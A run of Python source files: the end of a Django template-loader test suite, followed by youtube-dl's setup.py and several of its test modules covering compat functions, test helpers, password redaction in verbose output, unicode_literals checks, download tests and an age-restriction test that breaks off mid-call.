        template = select_template(["template_loader/unknown.html",
                                    "template_loader/hello.html"], using="django")
        self.assertEqual(template.render(), "Hello! (Django templates)\n")

    def test_select_template_empty(self):
        with self.assertRaises(TemplateDoesNotExist):
            select_template([])

    def test_select_template_string(self):
        with self.assertRaisesMessage(
            TypeError,
            "select_template() takes an iterable of template names but got a "
            "string: 'template_loader/hello.html'. Use get_template() if you "
            "want to load a single template by name."
        ):
            select_template('template_loader/hello.html')

    def test_select_template_not_found(self):
        with self.assertRaises(TemplateDoesNotExist) as e:
            select_template(["template_loader/unknown.html",
                             "template_loader/missing.html"])
        self.assertEqual(
            e.exception.chain[0].tried[0][0].template_name,
            'template_loader/unknown.html',
        )
        self.assertEqual(e.exception.chain[0].backend.name, 'dummy')
        self.assertEqual(
            e.exception.chain[-1].tried[0][0].template_name,
            'template_loader/missing.html',
        )
        self.assertEqual(e.exception.chain[-1].backend.name, 'django')

    def test_select_template_tries_all_engines_before_names(self):
        template = select_template(["template_loader/goodbye.html",
                                    "template_loader/hello.html"])
        self.assertEqual(template.render(), "Goodbye! (Django templates)\n")

    def test_render_to_string_first_engine(self):
        content = render_to_string("template_loader/hello.html")
        self.assertEqual(content, "Hello! (template strings)\n")

    def test_render_to_string_second_engine(self):
        content = render_to_string("template_loader/goodbye.html")
        self.assertEqual(content, "Goodbye! (Django templates)\n")

    def test_render_to_string_with_request(self):
        request = RequestFactory().get('/foobar/')
        content = render_to_string("template_loader/request.html", request=request)
        self.assertEqual(content, "/foobar/\n")

    def test_render_to_string_using_engine(self):
        content = render_to_string("template_loader/hello.html", using="django")
        self.assertEqual(content, "Hello! (Django templates)\n")

    def test_render_to_string_not_found(self):
        with self.assertRaises(TemplateDoesNotExist) as e:
            render_to_string("template_loader/unknown.html")
        self.assertEqual(
            e.exception.chain[-1].tried[0][0].template_name,
            'template_loader/unknown.html',
        )
        self.assertEqual(e.exception.chain[-1].backend.name, 'django')

    def test_render_to_string_with_list_first_engine(self):
        content = render_to_string(["template_loader/unknown.html",
                                    "template_loader/hello.html"])
        self.assertEqual(content, "Hello! (template strings)\n")

    def test_render_to_string_with_list_second_engine(self):
        content = render_to_string(["template_loader/unknown.html",
                                    "template_loader/goodbye.html"])
        self.assertEqual(content, "Goodbye! (Django templates)\n")

    def test_render_to_string_with_list_using_engine(self):
        content = render_to_string(["template_loader/unknown.html",
                                    "template_loader/hello.html"], using="django")
        self.assertEqual(content, "Hello! (Django templates)\n")

    def test_render_to_string_with_list_empty(self):
        with self.assertRaises(TemplateDoesNotExist):
            render_to_string([])

    def test_render_to_string_with_list_not_found(self):
        with self.assertRaises(TemplateDoesNotExist) as e:
            render_to_string(["template_loader/unknown.html",
                              "template_loader/missing.html"])
        self.assertEqual(
            e.exception.chain[0].tried[0][0].template_name,
            'template_loader/unknown.html',
        )
        self.assertEqual(e.exception.chain[0].backend.name, 'dummy')
        self.assertEqual(
            e.exception.chain[1].tried[0][0].template_name,
            'template_loader/unknown.html',
        )
        self.assertEqual(e.exception.chain[1].backend.name, 'django')
        self.assertEqual(
            e.exception.chain[2].tried[0][0].template_name,
            'template_loader/missing.html',
        )
        self.assertEqual(e.exception.chain[2].backend.name, 'dummy')
        self.assertEqual(
            e.exception.chain[3].tried[0][0].template_name,
            'template_loader/missing.html',
        )
        self.assertEqual(e.exception.chain[3].backend.name, 'django')

    def test_render_to_string_with_list_tries_all_engines_before_names(self):
        content = render_to_string(["template_loader/goodbye.html",
                                    "template_loader/hello.html"])
        self.assertEqual(content, "Goodbye! (Django templates)\n")






#!/usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import print_function

import os.path
import warnings
import sys

try:
    from setuptools import setup, Command
    setuptools_available = True
except ImportError:
    from distutils.core import setup, Command
    setuptools_available = False
from distutils.spawn import spawn

try:
    # This will create an exe that needs Microsoft Visual C++ 2008
    # Redistributable Package
    import py2exe
except ImportError:
    if len(sys.argv) >= 2 and sys.argv[1] == 'py2exe':
        print('Cannot import py2exe', file=sys.stderr)
        exit(1)

py2exe_options = {
    'bundle_files': 1,
    'compressed': 1,
    'optimize': 2,
    'dist_dir': '.',
    'dll_excludes': ['w9xpopen.exe', 'crypt32.dll'],
}

# Get the version from youtube_dl/version.py without importing the package
exec(compile(open('youtube_dl/version.py').read(),
             'youtube_dl/version.py', 'exec'))

DESCRIPTION = 'YouTube video downloader'
LONG_DESCRIPTION = 'Command-line program to download videos from YouTube.com and other video sites'

py2exe_console = [{
    'script': './youtube_dl/__main__.py',
    'dest_base': 'youtube-dl',
    'version': __version__,
    'description': DESCRIPTION,
    'comments': LONG_DESCRIPTION,
    'product_name': 'youtube-dl',
    'product_version': __version__,
}]

py2exe_params = {
    'console': py2exe_console,
    'options': {'py2exe': py2exe_options},
    'zipfile': None
}

if len(sys.argv) >= 2 and sys.argv[1] == 'py2exe':
    params = py2exe_params
else:
    files_spec = [
        ('etc/bash_completion.d', ['youtube-dl.bash-completion']),
        ('etc/fish/completions', ['youtube-dl.fish']),
        ('share/doc/youtube_dl', ['README.txt']),
        ('share/man/man1', ['youtube-dl.1'])
    ]
    root = os.path.dirname(os.path.abspath(__file__))
    data_files = []
    for dirname, files in files_spec:
        resfiles = []
        for fn in files:
            if not os.path.exists(fn):
                warnings.warn('Skipping file %s since it is not present. Type  make  to build all automatically generated files.' % fn)
            else:
                resfiles.append(fn)
        data_files.append((dirname, resfiles))

    params = {
        'data_files': data_files,
    }
    if setuptools_available:
        params['entry_points'] = {'console_scripts': ['youtube-dl = youtube_dl:main']}
    else:
        params['scripts'] = ['bin/youtube-dl']

class build_lazy_extractors(Command):
    description = 'Build the extractor lazy loading module'
    user_options = []

    def initialize_options(self):
        pass

    def finalize_options(self):
        pass

    def run(self):
        spawn(
            [sys.executable, 'devscripts/make_lazy_extractors.py', 'youtube_dl/extractor/lazy_extractors.py'],
            dry_run=self.dry_run,
        )

setup(
    name='youtube_dl',
    version=__version__,
    description=DESCRIPTION,
    long_description=LONG_DESCRIPTION,
    url='https://github.com/rg3/youtube-dl',
    author='Ricardo Garcia',
    author_email='ytdl@yt-dl.org',
    maintainer='Philipp Hagemeister',
    maintainer_email='phihag@phihag.de',
    packages=[
        'youtube_dl',
        'youtube_dl.extractor', 'youtube_dl.downloader',
        'youtube_dl.postprocessor'],

    # Provokes warning on most systems (why?!)
    # test_suite = 'nose.collector',
    # test_requires = ['nosetest'],

    classifiers=[
        'Topic :: Multimedia :: Video',
        'Development Status :: 5 - Production/Stable',
        'Environment :: Console',
        'License :: Public Domain',
        'Programming Language :: Python :: 2.6',
        'Programming Language :: Python :: 2.7',
        'Programming Language :: Python :: 3',
        'Programming Language :: Python :: 3.2',
        'Programming Language :: Python :: 3.3',
        'Programming Language :: Python :: 3.4',
        'Programming Language :: Python :: 3.5',
    ],

    cmdclass={'build_lazy_extractors': build_lazy_extractors},
    **params
)






#!/usr/bin/env python
# coding: utf-8

from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))


from youtube_dl.compat import (
    compat_getenv,
    compat_setenv,
    compat_etree_fromstring,
    compat_expanduser,
    compat_shlex_split,
    compat_str,
    compat_struct_unpack,
    compat_urllib_parse_unquote,
    compat_urllib_parse_unquote_plus,
    compat_urllib_parse_urlencode,
)


class TestCompat(unittest.TestCase):
    def test_compat_getenv(self):
        test_str = 'тест'
        compat_setenv('YOUTUBE-DL-TEST', test_str)
        self.assertEqual(compat_getenv('YOUTUBE-DL-TEST'), test_str)

    def test_compat_setenv(self):
        test_var = 'YOUTUBE-DL-TEST'
        test_str = 'тест'
        compat_setenv(test_var, test_str)
        compat_getenv(test_var)
        self.assertEqual(compat_getenv(test_var), test_str)

    def test_compat_expanduser(self):
        old_home = os.environ.get('HOME')
        test_str = 'C:\Documents and Settings\тест\Application Data'
        compat_setenv('HOME', test_str)
        self.assertEqual(compat_expanduser('~'), test_str)
        compat_setenv('HOME', old_home or '')

    def test_all_present(self):
        import youtube_dl.compat
        all_names = youtube_dl.compat.__all__
        present_names = set(filter(
            lambda c: '_' in c and not c.startswith('_'),
            dir(youtube_dl.compat))) - set(['unicode_literals'])
        self.assertEqual(all_names, sorted(present_names))

    def test_compat_urllib_parse_unquote(self):
        self.assertEqual(compat_urllib_parse_unquote('abc%20def'), 'abc def')
        self.assertEqual(compat_urllib_parse_unquote('%7e/abc+def'), '~/abc+def')
        self.assertEqual(compat_urllib_parse_unquote(''), '')
        self.assertEqual(compat_urllib_parse_unquote('%'), '%')
        self.assertEqual(compat_urllib_parse_unquote('%%'), '%%')
        self.assertEqual(compat_urllib_parse_unquote('%%%'), '%%%')
        self.assertEqual(compat_urllib_parse_unquote('%2F'), '/')
        self.assertEqual(compat_urllib_parse_unquote('%2f'), '/')
        self.assertEqual(compat_urllib_parse_unquote('%E6%B4%A5%E6%B3%A2'), '津波')
        self.assertEqual(
            compat_urllib_parse_unquote('''<meta property="og:description" content="%E2%96%81%E2%96%82%E2%96%83%E2%96%84%25%E2%96%85%E2%96%86%E2%96%87%E2%96%88" />
%<a href="https://ar.wikipedia.org/wiki/%D8%AA%D8%B3%D9%88%D9%86%D8%A7%D9%85%D9%8A">%a'''),
            '''<meta property="og:description" content="▁▂▃▄%▅▆▇█" />
%<a href="https://ar.wikipedia.org/wiki/تسونامي">%a''')
        self.assertEqual(
            compat_urllib_parse_unquote('''%28%5E%E2%97%A3_%E2%97%A2%5E%29%E3%81%A3%EF%B8%BB%E3%83%87%E2%95%90%E4%B8%80    %E2%87%80    %E2%87%80    %E2%87%80    %E2%87%80    %E2%87%80    %E2%86%B6%I%Break%25Things%'''),
            '''(^◣_◢^)っ︻デ═一    ⇀    ⇀    ⇀    ⇀    ⇀    ↶%I%Break%Things%''')

    def test_compat_urllib_parse_unquote_plus(self):
        self.assertEqual(compat_urllib_parse_unquote_plus('abc%20def'), 'abc def')
        self.assertEqual(compat_urllib_parse_unquote_plus('%7e/abc+def'), '~/abc def')

    def test_compat_urllib_parse_urlencode(self):
        self.assertEqual(compat_urllib_parse_urlencode({'abc': 'def'}), 'abc=def')
        self.assertEqual(compat_urllib_parse_urlencode({'abc': b'def'}), 'abc=def')
        self.assertEqual(compat_urllib_parse_urlencode({b'abc': 'def'}), 'abc=def')
        self.assertEqual(compat_urllib_parse_urlencode({b'abc': b'def'}), 'abc=def')
        self.assertEqual(compat_urllib_parse_urlencode([('abc', 'def')]), 'abc=def')
        self.assertEqual(compat_urllib_parse_urlencode([('abc', b'def')]), 'abc=def')
        self.assertEqual(compat_urllib_parse_urlencode([(b'abc', 'def')]), 'abc=def')
        self.assertEqual(compat_urllib_parse_urlencode([(b'abc', b'def')]), 'abc=def')

    def test_compat_shlex_split(self):
        self.assertEqual(compat_shlex_split('-option "one two"'), ['-option', 'one two'])
        self.assertEqual(compat_shlex_split('-option "one\ntwo" \n -flag'), ['-option', 'one\ntwo', '-flag'])
        self.assertEqual(compat_shlex_split('-val 中文'), ['-val', '中文'])

    def test_compat_etree_fromstring(self):
        xml = '''
            <root foo="bar" spam="中文">
                <normal>foo</normal>
                <chinese>中文</chinese>
                <foo><bar>spam</bar></foo>
            </root>
        '''
        doc = compat_etree_fromstring(xml.encode('utf-8'))
        self.assertTrue(isinstance(doc.attrib['foo'], compat_str))
        self.assertTrue(isinstance(doc.attrib['spam'], compat_str))
        self.assertTrue(isinstance(doc.find('normal').text, compat_str))
        self.assertTrue(isinstance(doc.find('chinese').text, compat_str))
        self.assertTrue(isinstance(doc.find('foo/bar').text, compat_str))

    def test_compat_etree_fromstring_doctype(self):
        xml = '''<?xml version="1.0"?>
<!DOCTYPE smil PUBLIC "-//W3C//DTD SMIL 2.0//EN" "http://www.w3.org/2001/SMIL20/SMIL20.dtd">
<smil xmlns="http://www.w3.org/2001/SMIL20/Language"></smil>'''
        compat_etree_fromstring(xml)

    def test_struct_unpack(self):
        self.assertEqual(compat_struct_unpack('!B', b'\x00'), (0,))


if __name__ == '__main__':
    unittest.main()






from __future__ import unicode_literals

import errno
import io
import hashlib
import json
import os.path
import re
import types
import sys

import youtube_dl.extractor
from youtube_dl import YoutubeDL
from youtube_dl.compat import (
    compat_os_name,
    compat_str,
)
from youtube_dl.utils import (
    preferredencoding,
    write_string,
)


def get_params(override=None):
    PARAMETERS_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)),
                                   "parameters.json")
    LOCAL_PARAMETERS_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)),
                                         "local_parameters.json")
    with io.open(PARAMETERS_FILE, encoding='utf-8') as pf:
        parameters = json.load(pf)
    if os.path.exists(LOCAL_PARAMETERS_FILE):
        with io.open(LOCAL_PARAMETERS_FILE, encoding='utf-8') as pf:
            parameters.update(json.load(pf))
    if override:
        parameters.update(override)
    return parameters


def try_rm(filename):
    """ Remove a file if it exists """
    try:
        os.remove(filename)
    except OSError as ose:
        if ose.errno != errno.ENOENT:
            raise


def report_warning(message):
    '''
    Print the message to stderr, it will be prefixed with 'WARNING:'
    If stderr is a tty file the 'WARNING:' will be colored
    '''
    if sys.stderr.isatty() and compat_os_name != 'nt':
        _msg_header = '\033[0;33mWARNING:\033[0m'
    else:
        _msg_header = 'WARNING:'
    output = '%s %s\n' % (_msg_header, message)
    if 'b' in getattr(sys.stderr, 'mode', '') or sys.version_info[0] < 3:
        output = output.encode(preferredencoding())
    sys.stderr.write(output)


class FakeYDL(YoutubeDL):
    def __init__(self, override=None):
        # Different instances of the downloader can't share the same dictionary
        # some test set the "sublang" parameter, which would break the md5 checks.
        params = get_params(override=override)
        super(FakeYDL, self).__init__(params, auto_init=False)
        self.result = []

    def to_screen(self, s, skip_eol=None):
        print(s)

    def trouble(self, s, tb=None):
        raise Exception(s)

    def download(self, x):
        self.result.append(x)

    def expect_warning(self, regex):
        # Silence an expected warning matching a regex
        old_report_warning = self.report_warning

        def report_warning(self, message):
            if re.match(regex, message):
                return
            old_report_warning(message)
        self.report_warning = types.MethodType(report_warning, self)


def gettestcases(include_onlymatching=False):
    for ie in youtube_dl.extractor.gen_extractors():
        for tc in ie.get_testcases(include_onlymatching):
            yield tc


md5 = lambda s: hashlib.md5(s.encode('utf-8')).hexdigest()


def expect_value(self, got, expected, field):
    if isinstance(expected, compat_str) and expected.startswith('re:'):
        match_str = expected[len('re:'):]
        match_rex = re.compile(match_str)

        self.assertTrue(
            isinstance(got, compat_str),
            'Expected a %s object, but got %s for field %s' % (
                compat_str.__name__, type(got).__name__, field))
        self.assertTrue(
            match_rex.match(got),
            'field %s (value: %r) should match %r' % (field, got, match_str))
    elif isinstance(expected, compat_str) and expected.startswith('startswith:'):
        start_str = expected[len('startswith:'):]
        self.assertTrue(
            isinstance(got, compat_str),
            'Expected a %s object, but got %s for field %s' % (
                compat_str.__name__, type(got).__name__, field))
        self.assertTrue(
            got.startswith(start_str),
            'field %s (value: %r) should start with %r' % (field, got, start_str))
    elif isinstance(expected, compat_str) and expected.startswith('contains:'):
        contains_str = expected[len('contains:'):]
        self.assertTrue(
            isinstance(got, compat_str),
            'Expected a %s object, but got %s for field %s' % (
                compat_str.__name__, type(got).__name__, field))
        self.assertTrue(
            contains_str in got,
            'field %s (value: %r) should contain %r' % (field, got, contains_str))
    elif isinstance(expected, type):
        self.assertTrue(
            isinstance(got, expected),
            'Expected type %r for field %s, but got value %r of type %r' % (expected, field, got, type(got)))
    elif isinstance(expected, dict) and isinstance(got, dict):
        expect_dict(self, got, expected)
    elif isinstance(expected, list) and isinstance(got, list):
        self.assertEqual(
            len(expected), len(got),
            'Expect a list of length %d, but got a list of length %d for field %s' % (
                len(expected), len(got), field))
        for index, (item_got, item_expected) in enumerate(zip(got, expected)):
            type_got = type(item_got)
            type_expected = type(item_expected)
            self.assertEqual(
                type_expected, type_got,
                'Type mismatch for list item at index %d for field %s, expected %r, got %r' % (
                    index, field, type_expected, type_got))
            expect_value(self, item_got, item_expected, field)
    else:
        if isinstance(expected, compat_str) and expected.startswith('md5:'):
            self.assertTrue(
                isinstance(got, compat_str),
                'Expected field %s to be a unicode object, but got value %r of type %r' % (field, got, type(got)))
            got = 'md5:' + md5(got)
        elif isinstance(expected, compat_str) and expected.startswith('mincount:'):
            self.assertTrue(
                isinstance(got, (list, dict)),
                'Expected field %s to be a list or a dict, but it is of type %s' % (
                    field, type(got).__name__))
            expected_num = int(expected.partition(':')[2])
            assertGreaterEqual(
                self, len(got), expected_num,
                'Expected %d items in field %s, but only got %d' % (expected_num, field, len(got)))
            return
        self.assertEqual(
            expected, got,
            'Invalid value for field %s, expected %r, got %r' % (field, expected, got))


def expect_dict(self, got_dict, expected_dict):
    for info_field, expected in expected_dict.items():
        got = got_dict.get(info_field)
        expect_value(self, got, expected, info_field)


def expect_info_dict(self, got_dict, expected_dict):
    expect_dict(self, got_dict, expected_dict)
    # Check for the presence of mandatory fields
    if got_dict.get('_type') not in ('playlist', 'multi_video'):
        for key in ('id', 'url', 'title', 'ext'):
            self.assertTrue(got_dict.get(key), 'Missing mandatory field %s' % key)
    # Check for mandatory fields that are automatically set by YoutubeDL
    for key in ['webpage_url', 'extractor', 'extractor_key']:
        self.assertTrue(got_dict.get(key), 'Missing field: %s' % key)

    # Are checkable fields missing from the test case definition?
    test_info_dict = dict((key, value if not isinstance(value, compat_str) or len(value) < 250 else 'md5:' + md5(value))
                          for key, value in got_dict.items()
                          if value and key in ('id', 'title', 'description', 'uploader', 'upload_date', 'timestamp', 'uploader_id', 'location', 'age_limit'))
    missing_keys = set(test_info_dict.keys()) - set(expected_dict.keys())
    if missing_keys:
        def _repr(v):
            if isinstance(v, compat_str):
                return "'%s'" % v.replace('\\', '\\\\').replace("'", "\\'").replace('\n', '\\n')
            else:
                return repr(v)
        info_dict_str = ''
        if len(missing_keys) != len(expected_dict):
            info_dict_str += ''.join(
                '    %s: %s,\n' % (_repr(k), _repr(v))
                for k, v in test_info_dict.items() if k not in missing_keys)

            if info_dict_str:
                info_dict_str += '\n'
        info_dict_str += ''.join(
            '    %s: %s,\n' % (_repr(k), _repr(test_info_dict[k]))
            for k in missing_keys)
        write_string(
            '\n\'info_dict\': {\n' + info_dict_str + '},\n', out=sys.stderr)
        self.assertFalse(
            missing_keys,
            'Missing keys in test definition: %s' % (
                ', '.join(sorted(missing_keys))))


def assertRegexpMatches(self, text, regexp, msg=None):
    if hasattr(self, 'assertRegexp'):
        return self.assertRegexp(text, regexp, msg)
    else:
        m = re.match(regexp, text)
        if not m:
            note = 'Regexp didn\'t match: %r not found' % (regexp)
            if len(text) < 1000:
                note += ' in %r' % text
            if msg is None:
                msg = note
            else:
                msg = note + ', ' + msg
            self.assertTrue(m, msg)


def assertGreaterEqual(self, got, expected, msg=None):
    if not (got >= expected):
        if msg is None:
            msg = '%r not greater than or equal to %r' % (got, expected)
        self.assertTrue(got >= expected, msg)


def expect_warnings(ydl, warnings_re):
    real_warning = ydl.report_warning

    def _report_warning(w):
        if not any(re.search(w_re, w) for w_re in warnings_re):
            real_warning(w)

    ydl.report_warning = _report_warning






#!/usr/bin/env python
# coding: utf-8

from __future__ import unicode_literals

import unittest

import sys
import os
import subprocess
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

rootDir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))


class TestVerboseOutput(unittest.TestCase):
    def test_private_info_arg(self):
        outp = subprocess.Popen(
            [
                sys.executable, 'youtube_dl/__main__.py', '-v',
                '--username', 'johnsmith@gmail.com',
                '--password', 'secret',
            ], cwd=rootDir, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        sout, serr = outp.communicate()
        self.assertTrue(b'--username' in serr)
        self.assertTrue(b'johnsmith' not in serr)
        self.assertTrue(b'--password' in serr)
        self.assertTrue(b'secret' not in serr)

    def test_private_info_shortarg(self):
        outp = subprocess.Popen(
            [
                sys.executable, 'youtube_dl/__main__.py', '-v',
                '-u', 'johnsmith@gmail.com',
                '-p', 'secret',
            ], cwd=rootDir, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        sout, serr = outp.communicate()
        self.assertTrue(b'-u' in serr)
        self.assertTrue(b'johnsmith' not in serr)
        self.assertTrue(b'-p' in serr)
        self.assertTrue(b'secret' not in serr)

    def test_private_info_eq(self):
        outp = subprocess.Popen(
            [
                sys.executable, 'youtube_dl/__main__.py', '-v',
                '--username=johnsmith@gmail.com',
                '--password=secret',
            ], cwd=rootDir, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        sout, serr = outp.communicate()
        self.assertTrue(b'--username' in serr)
        self.assertTrue(b'johnsmith' not in serr)
        self.assertTrue(b'--password' in serr)
        self.assertTrue(b'secret' not in serr)

    def test_private_info_shortarg_eq(self):
        outp = subprocess.Popen(
            [
                sys.executable, 'youtube_dl/__main__.py', '-v',
                '-u=johnsmith@gmail.com',
                '-p=secret',
            ], cwd=rootDir, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        sout, serr = outp.communicate()
        self.assertTrue(b'-u' in serr)
        self.assertTrue(b'johnsmith' not in serr)
        self.assertTrue(b'-p' in serr)
        self.assertTrue(b'secret' not in serr)

if __name__ == '__main__':
    unittest.main()






from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

import io
import re

rootDir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))

IGNORED_FILES = [
    'setup.py',  # http://bugs.python.org/issue13943
    'conf.py',
    'buildserver.py',
]

IGNORED_DIRS = [
    '.git',
    '.tox',
]

from test.helper import assertRegexpMatches


class TestUnicodeLiterals(unittest.TestCase):
    def test_all_files(self):
        for dirpath, dirnames, filenames in os.walk(rootDir):
            for ignore_dir in IGNORED_DIRS:
                if ignore_dir in dirnames:
                    # If we remove the directory from dirnames os.walk won't
                    # recurse into it
                    dirnames.remove(ignore_dir)
            for basename in filenames:
                if not basename.endswith('.py'):
                    continue
                if basename in IGNORED_FILES:
                    continue

                fn = os.path.join(dirpath, basename)
                with io.open(fn, encoding='utf-8') as inf:
                    code = inf.read()

                if "'" not in code and '"' not in code:
                    continue
                assertRegexpMatches(
                    self,
                    code,
                    r'(?:(?:#.*?|\s*)\n)*from __future__ import (?:[a-z_]+,\s*)*unicode_literals',
                    'unicode_literals import  missing in %s' % fn)

                m = re.search(r'(?<=\s)u[\'"](?!\)|,|$)', code)
                if m is not None:
                    self.assertTrue(
                        m is None,
                        'u present in %s, around %s' % (
                            fn, code[m.start() - 10:m.end() + 10]))


if __name__ == '__main__':
    unittest.main()






#!/usr/bin/env python

from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from test.helper import (
    assertGreaterEqual,
    expect_warnings,
    get_params,
    gettestcases,
    expect_info_dict,
    try_rm,
    report_warning,
)


import hashlib
import io
import json
import socket

import youtube_dl.YoutubeDL
from youtube_dl.compat import (
    compat_http_client,
    compat_urllib_error,
    compat_HTTPError,
)
from youtube_dl.utils import (
    DownloadError,
    ExtractorError,
    format_bytes,
    UnavailableVideoError,
)
from youtube_dl.extractor import get_info_extractor

RETRIES = 3


class YoutubeDL(youtube_dl.YoutubeDL):
    def __init__(self, *args, **kwargs):
        self.to_stderr = self.to_screen
        self.processed_info_dicts = []
        super(YoutubeDL, self).__init__(*args, **kwargs)

    def report_warning(self, message):
        # Don't accept warnings during tests
        raise ExtractorError(message)

    def process_info(self, info_dict):
        self.processed_info_dicts.append(info_dict)
        return super(YoutubeDL, self).process_info(info_dict)


def _file_md5(fn):
    with open(fn, 'rb') as f:
        return hashlib.md5(f.read()).hexdigest()

defs = gettestcases()


class TestDownload(unittest.TestCase):
    maxDiff = None

    def setUp(self):
        self.defs = defs

# Dynamically generate tests


def generator(test_case):

    def test_template(self):
        ie = youtube_dl.extractor.get_info_extractor(test_case['name'])
        other_ies = [get_info_extractor(ie_key) for ie_key in test_case.get('add_ie', [])]
        is_playlist = any(k.startswith('playlist') for k in test_case)
        test_cases = test_case.get(
            'playlist', [] if is_playlist else [test_case])

        def print_skipping(reason):
            print('Skipping %s: %s' % (test_case['name'], reason))
        if not ie.working():
            print_skipping('IE marked as not _WORKING')
            return

        for tc in test_cases:
            info_dict = tc.get('info_dict', {})
            if not (info_dict.get('id') and info_dict.get('ext')):
                raise Exception('Test definition incorrect. The output file cannot be known. Are both \'id\' and \'ext\' keys present?')

        if 'skip' in test_case:
            print_skipping(test_case['skip'])
            return
        for other_ie in other_ies:
            if not other_ie.working():
                print_skipping('test depends on %sIE, marked as not WORKING' % other_ie.ie_key())
                return

        params = get_params(test_case.get('params', {}))
        if is_playlist and 'playlist' not in test_case:
            params.setdefault('extract_flat', 'in_playlist')
            params.setdefault('skip_download', True)

        ydl = YoutubeDL(params, auto_init=False)
        ydl.add_default_info_extractors()
        finished_hook_called = set()

        def _hook(status):
            if status['status'] == 'finished':
                finished_hook_called.add(status['filename'])
        ydl.add_progress_hook(_hook)
        expect_warnings(ydl, test_case.get('expected_warnings', []))

        def get_tc_filename(tc):
            return ydl.prepare_filename(tc.get('info_dict', {}))

        res_dict = None

        def try_rm_tcs_files(tcs=None):
            if tcs is None:
                tcs = test_cases
            for tc in tcs:
                tc_filename = get_tc_filename(tc)
                try_rm(tc_filename)
                try_rm(tc_filename + '.part')
                try_rm(os.path.splitext(tc_filename)[0] + '.info.json')
        try_rm_tcs_files()
        try:
            try_num = 1
            while True:
                try:
                    # We're not using .download here sine that is just a shim
                    # for outside error handling, and returns the exit code
                    # instead of the result dict.
                    res_dict = ydl.extract_info(
                        test_case['url'],
                        force_generic_extractor=params.get('force_generic_extractor', False))
                except (DownloadError, ExtractorError) as err:
                    # Check if the exception is not a network related one
                    if not err.exc_info[0] in (compat_urllib_error.URLError, socket.timeout, UnavailableVideoError, compat_http_client.BadStatusLine) or (err.exc_info[0] == compat_HTTPError and err.exc_info[1].code == 503):
                        raise

                    if try_num == RETRIES:
                        report_warning('Failed due to network errors, skipping...')
                        return

                    print('Retrying: {0} failed tries\n\n##########\n\n'.format(try_num))

                    try_num += 1
                else:
                    break

            if is_playlist:
                self.assertTrue(res_dict['_type'] in ['playlist', 'multi_video'])
                self.assertTrue('entries' in res_dict)
                expect_info_dict(self, res_dict, test_case.get('info_dict', {}))

            if 'playlist_mincount' in test_case:
                assertGreaterEqual(
                    self,
                    len(res_dict['entries']),
                    test_case['playlist_mincount'],
                    'Expected at least %d in playlist %s, but got only %d' % (
                        test_case['playlist_mincount'], test_case['url'],
                        len(res_dict['entries'])))
            if 'playlist_count' in test_case:
                self.assertEqual(
                    len(res_dict['entries']),
                    test_case['playlist_count'],
                    'Expected %d entries in playlist %s, but got %d.' % (
                        test_case['playlist_count'],
                        test_case['url'],
                        len(res_dict['entries']),
                    ))
            if 'playlist_duration_sum' in test_case:
                got_duration = sum(e['duration'] for e in res_dict['entries'])
                self.assertEqual(
                    test_case['playlist_duration_sum'], got_duration)

            for tc in test_cases:
                tc_filename = get_tc_filename(tc)
                if not test_case.get('params', {}).get('skip_download', False):
                    self.assertTrue(os.path.exists(tc_filename), msg='Missing file ' + tc_filename)
                    self.assertTrue(tc_filename in finished_hook_called)
                    expected_minsize = tc.get('file_minsize', 10000)
                    if expected_minsize is not None:
                        if params.get('test'):
                            expected_minsize = max(expected_minsize, 10000)
                        got_fsize = os.path.getsize(tc_filename)
                        assertGreaterEqual(
                            self, got_fsize, expected_minsize,
                            'Expected %s to be at least %s, but it\'s only %s ' %
                            (tc_filename, format_bytes(expected_minsize),
                                format_bytes(got_fsize)))
                    if 'md5' in tc:
                        md5_for_file = _file_md5(tc_filename)
                        self.assertEqual(md5_for_file, tc['md5'])
                info_json_fn = os.path.splitext(tc_filename)[0] + '.info.json'
                self.assertTrue(
                    os.path.exists(info_json_fn),
                    'Missing info file %s' % info_json_fn)
                with io.open(info_json_fn, encoding='utf-8') as infof:
                    info_dict = json.load(infof)

                expect_info_dict(self, info_dict, tc.get('info_dict', {}))
        finally:
            try_rm_tcs_files()
            if is_playlist and res_dict is not None and res_dict.get('entries'):
                # Remove all other files that may have been extracted if the
                # extractor returns full results even with extract_flat
                res_tcs = [{'info_dict': e} for e in res_dict['entries']]
                try_rm_tcs_files(res_tcs)

    return test_template

# And add them to TestDownload
for n, test_case in enumerate(defs):
    test_method = generator(test_case)
    tname = 'test_' + str(test_case['name'])
    i = 1
    while hasattr(TestDownload, tname):
        tname = 'test_%s_%d' % (test_case['name'], i)
        i += 1
    test_method.__name__ = str(tname)
    setattr(TestDownload, test_method.__name__, test_method)
    del test_method


if __name__ == '__main__':
    unittest.main()






#!/usr/bin/env python
from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from test.helper import try_rm


from youtube_dl import YoutubeDL


def _download_restricted(url, filename, age):
    """ Returns true if the file has been downloaded """

    params = {
        'age_limit': age,
        'skip_download': True,
        'writeinfojson': True,
        'outtmpl': '%(id)s.%(ext)s',
    }
    ydl = YoutubeDL(params)
    ydl.add_default_info_extractors()
    json_filename = os.path.splitext(filename)[0] + '.info.json'
    try_rm(json_filename)
    ydl.download([url])
    res = os.path.exists(json_filename)
    try_rm(json_filename)
    return res


class TestAgeRestriction(unittest.TestCase):
    def _assert_restricted(self, url, filename, age, old_age=None):
        self.assertTrue(_download_restricted(url, filename, old_age))
        self.assertFalse(_download_restricted(url, filename, age))

    def test_youtube(self):
        self._assert_restricted('07FYdnEawAQ', '07FYdnEawAQ.mp4', 10)

    def test_youporn(self):
        self._assert_restricted(
            'http://www.youporn.com/watch/505835/sex-ed-is-it-safe-to-masturbate-daily/',
